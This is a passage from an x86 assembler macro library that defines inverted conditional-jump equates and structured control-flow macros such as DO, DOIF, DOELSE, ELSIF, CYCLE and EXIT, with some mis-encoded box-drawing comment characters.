EQU JE _NJNZ EQU _NJNE _NJBE EQU JNBE _NJNA EQU _NJBE _NJA EQU JNA _NJNBE EQU _NJA _NJS EQU JNS _NJNS EQU JS _NJP EQU JNP _NJPE EQU _NJP _NJNP EQU JP _NJPO EQU _NJNP _NJL EQU JNL _NJNGE EQU _NJL _NJGE EQU JNGE _NJNL EQU _NJGE _NJLE EQU JNLE _NJNG EQU _NJLE _NJG EQU JNG _NJNLE EQU _NJG ; There are no mirror commands for LOOPxx & JCXZ, ; so we're forced to use MACROS in these cases S@KIP MACRO opcod,target local Skip_Label opcod Skip_Label jmp target Skip_Label label near ENDM _NJCXZ MACRO target S@KIP JCXZ,target ENDM _NJLU MACRO target S@KIP LOOP,target ENDM _NJLUNE MACRO target S@KIP LOOPNE,target ENDM _NJLUNZ MACRO target S@KIP LOOPNZ,target ENDM _NJLUE MACRO target S@KIP LOOPE,target ENDM _NJLUZ MACRO target S@KIP LOOPZ,target ENDM ENDM ;;********** ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ;ÚÄÄÄÄÄ Language macros ÄÄÄÄÄ¿ ; Pass next block till the end or DOELSE PASS MACRO CND S@T %L@+1 J@F CND,E@,%L@+1,%T@E,0 S@T %L@ EL@I %L@,0 ENDM ; Enter next block immediately GOIN MACRO CND S@ B,%L@+1,+1 J@F CND,B@,%L@+1,%T@B,0 S@ B,%L@+1,-1 ENDM ; Go to the begin of current block REPEAT MACRO CND J@R CND,B@,%L@,%T@B,0 ENDM ; Go to the end of current block ; (skip all DOELSE's) EXIT MACRO CND J@F CND,X@,%L@,%T@X,0 ENDM ; Go to the next DOELSE if present ; or to the end of current block NEXT MACRO CND J@F CND,E@,%L@,%T@E,0 ENDM ; The begin of a block without ; test of condition DO MACRO L@ = L@+1 S@ B,%L@,+1 M@ B@,%L@,%T@B S@T %L@ EL@I %L@,0 ENDM ; The end of a block without loop DONE MACRO M@ X@,%L@,%T@X M@ E@,%L@,%T@E S@ X,%L@,+1 S@ E,%L@,+1 L@ = L@-1 S@T %L@ EL@I %L@,0 ENDM ; The end of a loop-block CYCLE MACRO CND REPEAT CND DONE ENDM ; The begin of a block with ; condition test DOIF MACRO CND L@ = L@+1 S@T %L@ J@F CND,E@,%L@,%T@E,1 S@ B,%L@,+1 M@ B@,%L@,%T@B EL@I %L@,0 ENDM ; The alternative block part begin operator DOELSE MACRO EXIT ,LNG S@T %L@ M@ E@,%L@,%T@E S@ E,%L@,+1 EL@I %L@,1 ENDM ; The enclosed IF (DOIF-{DOELSE-ELSIF...}-DONE) ELSIF MACRO CND EL@I %L@ IF TL@ NE 1 .err ***** STAR error: ELSIF without DOELSE or with PASS ***** ELSE J@F CND,E@,%L@,%T@E,1 S@ B,%L@+1,+1 M@ B@,%L@+1,%T@B S@T %L@ ENDIF EL@I %L@,0 ENDM ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ INITS ;Variables initialization